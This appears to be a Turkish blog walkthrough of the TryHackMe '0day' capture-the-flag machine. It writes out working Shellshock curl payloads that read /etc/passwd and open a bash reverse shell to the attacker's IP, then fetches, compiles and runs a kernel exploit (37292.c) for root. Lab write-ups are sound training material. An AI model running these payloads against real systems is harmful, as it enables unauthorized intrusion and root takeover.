Merhabalar bu yazımda Tryhackme 0day Çözümü sizlerle birlikte çözeceğiz.
- Makine İsmi: 0day
- Makine Zorluğu: Orta
- Makine Linki: Tryhackme
1- Nmap taraması ile direkt portları ve versiyonlarını tespit ederek başlıyorum.
Detaylı olarak baktığımda bir şey bulamadım 22 ve 80.port açık olduğunu tespit ettim.
2- Gobuster ile dizinleri taradım ve karşıma pek işe yarar bir şey çıkmadı.
Dikkatli incelediğimde backup ve cgi-bin üzerinden gidebileceğimizi fark ettim.
İlginizi çekebilecek yazımız: Pegasus Yazılımı, Rusya Medya Ajansı CEO’sunun iPhone’unu Hackledi
3- RSA Private key çıktı kırmaya çalıştım ama maalesef bu adımdan da bir şey çıkmadı. SSH üzerinden girmemize izin vermiyor.
Diğer adım olarak Cgi-bin detaylı olarak incelemeye çalışacağım.
4- Cgi-bin dizinini gobuster üzerinden ayrı olarak taradım karşımıza test.cgi ile hello world karşıladı.
Buradan shellshock exploit olarak açığı kullanarak devam edebileceğimizi düşünüyorum.
5- Github üzerinden incelediğimde cat /etc/passwd olarak kullanıcı hesap ayrıntılarını detaylı olarak okumamıza olanak sağlayabilir.
Farklı olarak araştırdığımda buradan bash betiği ile direkt olarak reverse shell ile terminalden makine içerisine giriş yapabileceğimizi buldum.
6- curl -H ‘User-agent: () { :; }; echo; echo; /bin/cat /etc/passwd’ bash -s : ”http://hedefmakineipadresi/cgi-bin/test.cgi
Evet direkt olarak kullanıcıları detaylı olarak okumamızı olanak sağladı.
Curl -H üzerinden devam ederek reverse shell almaya çalışalım.
7- Evet gerekli ayarlamaları yaptım. dev/tcp/ yanına tryhackme’ye bağlandığımız ip adresini girdim.
Diğer tarafa hedefi ve enter yaptığımızda direkt olarak bash üzerinden makineye bağlantı olacaktır.
curl -H ‘User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/VPN bağlandığınız ip adresi/istediğiniz port 0>&1’ http://{hedef makine ip adresi}/cgi-bin/test.cgi
8- 7. adımdan önce ncat -lvnp 9001 yazıp dinlemeyi önceden açmıştım.
Direkt olarak makinenin içerisindeyiz.
9- Home dizini içerisine geçiş yaptım, ryan kullanıcısını içerisinden ilk bayrağımızı bulduk.
Şimdi yetki yükseltmeye çalışarak root bayrağını da bulmaya çalışalım.
10- Yetki yükseltmeye direkt izin vermedi.
Linux sunucunun kernel olarak baktım ve Linux ubuntu 3.13.0 olarak tespit ettim.
Bakınca sunucuda 2014 olarak gözüküyor. Eski sunucu olduğu için birçok exploit bulabiliriz.
11- 3.13.0 baktığımda bizim işimize yarayacak bir exploit buldum.
Hem de direkt olarak çalıştırdığımızda otomatik olarak root içerisine geçiş yapacaktır.
12- searchsploit -m 37292.c yazarak root dizinin içerisine exploiti indirdik.
python3 -m httpserver 8000 yazarak http sunucusunu aktif ettik.
Direkt kendi Kali Linuxumuz içerisinden hedef makine içerisine exploiti artık indirebiliriz.
13- Tmp içerisine geçiş yaptım.
wget http://kendivpnadresiniz:8000/37292.c burada kendi ip adresiniz ve sunucunuz üzerinden exploiti hedef makineye olanak sağlıyor.
14- Şimdi son olarak exploiti derleme başlıyorum. Sıra sıra;
- export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
- gcc 37292.c -o exploitderleme
- ./exploitderleme
yaptık ve artık root kullanıcı içerisindeyiz.
cat /root/root.txt içerisinde ki son bayrağımıza bulmuş olduk.
Tryhackme 0day Çözümü sonuna geldik. Yeni CTF çözümlerinde görüşmek üzere..